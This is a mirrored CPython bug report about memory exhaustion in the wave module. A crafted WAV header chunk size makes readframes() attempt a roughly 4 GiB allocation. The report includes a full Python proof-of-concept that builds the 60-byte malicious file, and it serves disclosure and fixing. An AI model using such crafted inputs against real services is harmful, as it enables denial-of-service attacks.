python / python/cpython

Memory Exhaustion in `wave.readframes()` via Crafted Chunk Size

Open
#151,308 1 comment 0 reactions 0 assignees View on GitHub

Nobody has claimed this yet.

stdlib type-bug
Dominant language
Python
Stars
77.2k
Forks
35.9k
PR merge metrics
PR metrics pending

Description

Bug report

Bug description:
Summary

The wave module reads RIFF/WAV chunk sizes from 4-byte header fields without validating them against available input. A 60-byte crafted WAV claiming ~4 GiB of audio data causes readframes() to attempt a ~4 GiB pre-allocation via file.read(chunksize).

Details

_Chunk.__init__ reads chunksize with no upper bound, then _Chunk.read() passes it to file.read():

https://github.com/python/cpython/blob/9633c5239daae3a180f8ce263ce77e4e522e6aa4/Lib/wave.py#L130

https://github.com/python/cpython/blob/9633c5239daae3a180f8ce263ce77e4e522e6aa4/Lib/wave.py#L188-L192

Reproducer
❯ docker run --rm -v "$(pwd)":/work -w /work python:3.14-slim python poc.py
MemoryError from 60-byte WAV with chunksize=4,294,967,295
"""
Memory exhaustion in wave.readframes() via crafted WAV chunk size.
"""

import resource
import struct
import sys
import tempfile
import wave


CLAIMED_SIZE = 0xFFFFFFFF  # ~4 GiB
MEM_LIMIT = 256 * 1024 * 1024  # 256 MiB


def build_crafted_wav() -> bytes:
    """Build a minimal WAV file (60 bytes) claiming ~4 GiB of audio data."""
    fmt_data = struct.pack(
        "<HHLLHH",
        1,      # wFormatTag = WAVE_FORMAT_PCM
        1,      # nchannels = 1 (mono)
        44100,  # framerate
        88200,  # dwAvgBytesPerSec
        2,      # wBlockAlign (nchannels * sampwidth)
        16,     # wBitsPerSample
    )
    fmt_chunk = b"fmt " + struct.pack("<L", len(fmt_data)) + fmt_data

    data_chunk = (
        b"data" + struct.pack("<L", CLAIMED_SIZE) + b"\x00" * 16
    )

    riff_header = b"RIFF" + struct.pack("<L", CLAIMED_SIZE) + b"WAVE"
    return riff_header + fmt_chunk + data_chunk


def main():
    wav_bytes = build_crafted_wav()

    with tempfile.NamedTemporaryFile(suffix=".wav") as tmp:
        tmp.write(wav_bytes)
        tmp.flush()

        try:
            w = wave.open(tmp.name, "r")
            w.readframes(-1)
            w.close()
        except MemoryError:
            print(
                f"MemoryError from {len(wav_bytes)}-byte WAV "
                f"with chunksize={CLAIMED_SIZE:,}"
            )
            sys.exit(0)
        except Exception:
            print("BLOCKED: wave rejected crafted chunksize")
            sys.exit(1)

    print("BLOCKED: no allocation error raised")
    sys.exit(1)


if __name__ == "__main__":
    resource.setrlimit(resource.RLIMIT_AS, (MEM_LIMIT, MEM_LIMIT))
    main()
Impact

Memory Error

Related issue

https://github.com/python/cpython/issues/141713

CPython versions tested on:

3.15

Operating systems tested on:

Linux

Linked PRs
  • gh-151487
  • gh-151488

Contributor guide

Open the contributing guide

First steps

  1. Read the whole issue, then the project's contributing guide.
  2. Comment on the issue to say you are picking it up — it saves two people doing the same work.
  3. Fork the repository and make your change on a branch.
  4. Open a pull request that references the issue number.

Research direction

Start in Lib/wave.py, especially _Chunk.init and _Chunk.read(), using the crafted WAV reproducer in the issue. Review linked PRs gh-151487 and gh-151488 before making changes. Done means the reproducer no longer triggers MemoryError from the claimed chunk size while valid WAV reading remains functional.

Written by the indexing model from the issue text.

Assessment

Tech stack
python
Domain
security
Issue type
Bug
Difficulty
3/5
Estimated time
1-2 days
Activity status
Stale
Clarity
Clearly specified
Newbie friendliness
25/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.